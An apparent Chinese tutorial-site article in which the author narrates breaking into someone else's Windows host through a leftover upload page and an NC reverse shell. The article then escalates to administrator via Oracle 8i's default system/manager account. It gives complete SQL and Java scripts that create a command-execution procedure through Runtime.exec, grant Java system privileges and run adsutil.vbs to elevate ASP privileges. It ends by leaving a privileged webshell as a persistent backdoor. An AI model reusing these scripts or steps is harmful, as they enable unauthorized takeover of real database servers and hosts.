| 网站首页 | 文章中心 | 电子书下载 | 矢量图库 | 视频教程 | 素材下载 | 程序代码下载 | JS代码 | 论坛 | 
龙腾教程网  
常用软件类:
|杀毒安全 |联络聊天 |网络软件 |多媒体类 |系统工具 |图形图像 |系统工具 |应用软件 |行业软件
开发设计类:
|动画制作 |图像处理 |3D设计 |操作系统 |站长学院 |网络相关 |WEB设计 |数据库类 |程序开发
 
  您当前位置:您现在的位置: 龙腾软件教程网 >> 文章中心 >> 数据库教程 >> Oracle >> 文章正文>>>>>> 
利用Oracle系统默认口令提升权限
近日,偶到一主机上逛了一圈。主机的配置还算是安全,偏偏一个比较隐藏的目录下残留了upfile.asp,结果轻轻松松的得到了webshell。

  接着在主机上逛了逛,拿出superscan从外面扫了下,只开放了80端口。

  从user\程序目录里,发现有一快捷方式:firecontrol,好象是某款硬件防火墙的控制台。WEBSHELL下检测了下开放的服务,发现一般的可提权的方法都不可行,无SERV-U等等,主机的补丁也是打到了最新。

  试了下传了个NC上去,反连接得到一SHELL,这下比在老兵的管理器里舒服多了。 在C盘下看到一个目录oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,确定了主机的服务名“xxx”,看了下版本“oracle 8i”,用数据库连接器 Provider=MSDAORA.1;Password=manager;User ID=system;DataSource=xxxx试了下默认的system账户,密码manager,结果真的就连接到了本地的oracle服务。

  这下好了,oracle的system账户就像是mssql下的sa,我们来通过他来提升权限,马上编辑了几个脚本。

  1.sql create or replace and compilejava source named "Util"asimport java.io.*;import java.lang.*; public class Util extends Object{public static int RunThis(String args){Runtime rt = Runtime.getRuntime();int rc = -1; try{Process p = rt.exec(args);int bufSize = 4096;BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);int len;byte buffer[] = new byte[bufSize];// Echo back what the program spit outwhile ((len = bis.read(buffer, 0, bufSize)) != -1)System.out.write(buffer, 0, len); rc = p.waitFor();}catch (Exception e){e.printStackTrace();rc = -1;}finally{return rc;}}}

  2.sql create or replacefunction RUN_CMD(p_cmd in varchar2) return numberaslanguage javaname 'Util.RunThis(java.lang.String) return integer';

  3.sql create or replace procedure RC(p_cmd in varchar2)asx number;beginx := run_cmd(p_cmd);end;保存在c:\下,然后用反连接得到的shell运行sqlplussystem/manager@xxx然后再来执行脚本。

  SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql

  看到JAVA已创建、函数已创建、过程已创建,接着我们继续

  SQL> variable x number;SQL> set serveroutput onSQL> exec dbms_java.set_output(100000);SQL>grant javasyspriv to system

  看到授权成功。接着我们就可以来执行系统命令了。

  我想先把ASP.dll加入特权一组

  SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ');

  看到过程已经成功完成,这个时候我们重新登陆我们的webshell,他已经具有admin权限了。接着,再用NC返回一个shell,已经是管理权限的,我们可以做我们想干的事了。因为这个主机有防火墙过滤除80以外的端口,所以不好做图形的后门,只有留下一有权限的webshell。

上一篇:
  • 上一篇文章:
  • 下一篇
  • 下一篇文章: 没有了
  • 收藏此文到百度搜藏 百度搜藏| 新浪VIvi| 365key| Younote| 博采中心| 你好BLOG| 亿友网摘| 和讯网摘|
    相关文章    
    Oracle 8.1.7 for solaris x86 完全安装手册
    RedHat系统下安装Oracle数据库的经历
    Oracle数据库配置中的常见错误代码和解决方
    黑客狙击Oracle系统的八大常用套路
    SuSE Linux10上安装Oracle数据库方法
    新手入门-Windows系统下安装ORACLE 10g数据
    Oracle 数据库SQL 性能优化技巧21条
    Oracle 10g列值掩码技术隐藏敏感数据
    ORACLE高级复制实现内外网数据同步
    Oracle case函数介绍
     
     
     
    最新文章
    普通文章 利用Oracle系统默认口令提升权限最新文章
    普通文章 解决IIS6目录检查安全漏洞的办法最新文章
    普通文章 Vista系统禁用USB端口的两个技巧最新文章
    普通文章 WinVista Rundll32 常用命令列表最新文章
    普通文章 CorelDRAW绘制节日恭喜发财 铜钱最新文章
    普通文章 photoshop手绘雪地的女孩最新文章
    普通文章 photoshop创意图片合成技巧最新文章
    普通文章 VPN配置简单说明书最新文章
    普通文章 火狐集合FTP合二为一最新文章
    普通文章 玩转Vista系统加速与优化最新文章
     
    热门文章
    推荐文章 Photoshop绘制卡通动漫娃娃最新文章
    推荐文章 Photoshop绘制逼真绚丽的金鱼
     
     
    设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 

    版权所有2006-2008 龙腾教程网